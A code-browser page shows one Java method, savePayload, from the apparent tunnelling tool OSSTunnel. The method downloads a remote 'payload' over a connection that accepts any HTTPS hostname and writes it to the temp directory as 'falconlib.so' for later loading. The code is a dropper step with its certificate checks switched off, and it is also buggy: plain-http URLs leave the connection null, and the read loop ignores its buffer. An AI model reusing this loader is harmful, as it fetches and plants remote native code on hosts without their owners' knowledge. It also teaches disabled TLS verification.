MCPcopy Create free account
hub / github.com/Ramos-dev/OSSTunnel / savePayload

Method savePayload

client/src/main/java/SennaLoader.java:82–112  ·  view source on GitHub ↗
(String strUrl)

Source from the content-addressed store, hash-verified

80 }
81
82 private static void savePayload(String strUrl)
83 throws Exception {
84 URL url = new URL(strUrl);
85 URLConnection conn = null;
86 if ("https".equals(url.getProtocol())) {
87 HttpsURLConnection httpsConn = (HttpsURLConnection) url.openConnection();
88 httpsConn.setHostnameVerifier(new HostnameVerifier() {
89
90 @Override
91 public boolean verify(String hostname, SSLSession session) {
92 return true;
93 }
94 });
95 conn = httpsConn;
96 }
97
98 DataInputStream input = new DataInputStream(conn.getInputStream());
99
100
101 DataOutputStream out = new DataOutputStream(new
102 FileOutputStream(System.getProperty("java.io.tmpdir") + "/falconlib.so"));
103 int len;
104 byte[] buffer = new byte[8 * 1024];
105 while ((len = input.read()) != -1) {
106 out.write(len);
107 out.flush();
108 }
109 input.close();
110 out.close();
111
112 }
113
114
115 public static class CompilationException extends RuntimeException {

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected